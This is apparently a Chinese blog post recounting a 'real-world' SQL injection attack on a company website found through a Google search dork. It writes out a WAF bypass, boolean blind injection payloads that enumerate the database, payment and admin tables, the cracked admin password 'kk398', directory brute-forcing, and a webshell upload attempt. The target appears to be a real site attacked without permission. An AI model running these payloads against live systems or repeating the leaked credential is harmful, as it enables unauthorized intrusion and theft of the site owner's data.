记一次实战SQL注入

一、google搜索

inurl:?id= 公司 找到如下网站
在这里插入图片描述

二、通过点击观察,发现有一处传参页面

type_id=127
在这里插入图片描述

三、判断SQL注入是否存在

http://?type_id=127 and 1=1出现拦截
在这里插入图片描述
但是这个WAF很好绕过,通过把空格替换成+即可
输入语句http://?type_id=127+and+1=1
在这里插入图片描述
输入语句http://?type_id=127+and+1=2可知存在sql注入
在这里插入图片描述

四、布尔盲注判断数据库名称长度

and%20length((select%20database()%20limit%200,1))>1得知数据库名称长度为15

五、布尔盲注得出数据库名

ftp16qyfwtauqth

六、布尔盲注得出数据库中表的个数

?type_id=127+and+(select count(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth ')=5

七、布尔盲注得出数据库的表的名字

第一个表 atype
(select length(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth ' limit 0,1)=5

?type_id=127+and+(select count(column_name) from information_schema.columns where table_name='atype')=16由此得知表的列数为16

第二个表 atype_info
?type_id=127+and+(select length(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth ' limit 1,1)=10

?type_id=127+and+(select count(column_name) from information_schema.columns where table_name='atype_info')=24由此得知表的列数为24

?type_id=127+and+(select length(column_name) from information_schema.columns where table_name='atype_info' limit 1,1)>1判断字段的长度
第一个字段id,
第二个字段 type_id?type_id=127+and+(select length(column_name) from information_schema.columns where table_name='atype_info' limit 1,1)=7
?type_id=127+and+ascii(substr((select column_name from information_schema.columns where table_name='atype_info' limit 1,1),2,1))>120
第三个字段3:num
第四个字段7:cn_name
第五个字段7:en_name
第六个字段8:cn_title
第七个字段8:en_title
第八个字段11:en_keywords
第九个字段11:cn_keywords
第十个字段14:cn_description
第十一个字段14:en_description
第十二个字段7:fn_name
第十三个字段7: fn_type
第十四个字段10:
第十五个字段10:
第十六个字段5:date1
第十七个字段4:hot1
第十八个字段7:
第十九个字段8:
第二十个字段10:
第二一个字段7:
第二二个字段14:
第二三个字段11:
第二四个字段7:images3

第三个表payment
?type_id=127+and+(select length(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth' limit 2,1)=7

第四个表payment_log
?type_id=127+and+(select length(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth' limit 3,1)=11

?type_id=127+and+(select count(column_name) from information_schema.columns where table_name='payment_log' and table_schema='ftp16qyfwtauqth')>16得知字段数17

ascii(substr((select column_name from information_schema.columns where table_name='payment_log' and table_schema='ftp16qyfwtauqth'limit 0,1),1,1))>1猜字段名字
id,7,3,7,7,8,8,11,11,14,14,7,7,10,10,5,4
type_id,num,cn_name,en_name,cn_title,

第五个表web_admin
?type_id=127+and+(select length(table_name) from information_schema.tables where table_schema='ftp16qyfwtauqth' limit 4,1)=9
?type_id=127+and+(select count(column_name) from information_schema.columns where table_name='wb_admin' and table_schema='ftp16qyfwtauqth')=3得知有3列
用sqlmap跑太慢了 ,不过好在爆出来了

八、得到有效表

在这里插入图片描述

不过他这个界面好多注入,换了一个页面爆的比较快
在这里插入图片描述
在这里插入图片描述
看一下是不是数据库管理员
在这里插入图片描述

九、拿有效数据

判断密码长度为32位
?type_id=127+and+(select length(admin_pwd) from web_admin limit 0,1)=32
sqlmap爆出密码
在这里插入图片描述
丢到cmd5网站解密,得到明文密码kk398
在这里插入图片描述

十、找后台

但是现在还不知道这个网站的后台登录地址,记得科学上网
尝试用爬虫工具,没有找到登录地址

十一、文件上传

没有找到后台,但是用dirsearch居然找到了一个上传页面
在这里插入图片描述
在浏览器打开进入如下界面
在这里插入图片描述
普通一句话木马上传出现白名单警告

十二、判断文件上传回显

通过构造正常的文件请求
在这里插入图片描述
后端对文件名进行了校验,且上了云盾拦截,好像不能用条件竞争。
保存的名字是用filename进行了后缀重命名。绕不了

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值